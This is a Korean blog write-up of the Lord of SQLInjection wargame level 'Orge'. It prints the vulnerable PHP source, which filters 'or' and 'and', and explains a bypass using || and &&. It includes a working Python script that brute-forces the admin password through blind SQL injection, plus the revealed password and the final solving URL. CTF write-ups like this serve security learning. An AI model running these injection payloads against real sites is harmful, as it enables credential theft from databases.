[LOS] 7. Orge

고둑·2021년 7월 12일
0

LoS

목록 보기
7/21
post-thumbnail

힌트

  • id 값이 admin이 아니다.
  • 진한 노가다의 냄새(내가 하든 파이썬이 하든)

풀이

코드 해석

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 
  highlight_file(__FILE__); 
?>

이 문제는 전에 풀었던 Orc 문제의 업그레이드 버전 같은 느낌이다.
똑같이 Blind SQL injection을 이용하여 풀어야 한다.
가장 큰 문제는 id파라미터가 guest로 고정된 것이고 pw 파라미터에서 추가로 or, and를 필터링한다는 것이다.
전에 풀었던 문제가 혼합된 형태인 거 같다.

문제 풀이

Blind SQL injection

or, and에 관한 필터링은 Darkelf에서 다루었기 때문에 넘어가도록 하겠다.
Blind SQL injection을 수행하기 위하는 과정도 Orc에서 다루었기 때문에 빠르게 진행하면

lenght(pw)의 길이는 8이 나온다.

이제 ascii(substring(pw,i,1))로 한 자리씩 알아내면 된다.
손수 ascii(substring(pw,i,1))<60 이런 식으로 범위를 줄여나가면서 알아내도 되지만 막 추천하지는 않는다. (손 아프다.)

파이썬을 이용하여 스크립트를 짜보았다.

# -*- coding: utf-8 -*-
import urllib.request

answer = ""
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"

for i in range(1, 9):
    try:
        for j in range(33, 128):
            url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=%27||id=%27admin%27%26%26ascii(substring(pw,'
            url = url + str(i) + ',1))=' + str(j) + '--+'

            print(url)

            req = urllib.request.Request(url) #엔터 치기전 상태
            req.add_header('User-agent', user_agent) #헤더값 설정(los가 뱉어냄)
            req.add_header("Cookie", "PHPSESSID=쿠키값알아서넣으세요")

            res = urllib.request.urlopen(req) # 엔터누른 효과
            data = res.read().decode('utf-8') # 본문만 가져오기

            if data.find('<h2>Hello admin</h2>') != -1:
                print(chr(j))
                answer = answer + chr(j)
                break
    except Exception as e:
        continue

print(answer)

코드에 관한 설명은 Orc에서 했기 때문에 생략하도록 하겠다. 앞으로의 코드가 대부분 비슷하기 때문에 바뀐 부분만 말할 예정이다.

이 코드는 andor의 필터링을 피하고자 각각 &&||으로 바꾼 차이가 있다.

스크립트를 실행해보면 비밀번호는 7b751aec이 나온다.

admin의 비밀번호가 7b751aec이지만 idguest로 고정되어 있기 때문에 echo "<h2>Hello {$result[id]}" 는 작동을 하지는 않지만
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge") 이 부분이 만족하여 문제를 해결 할 수 있다.

https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=7b751aec

profile
문워킹은 하지말자

0개의 댓글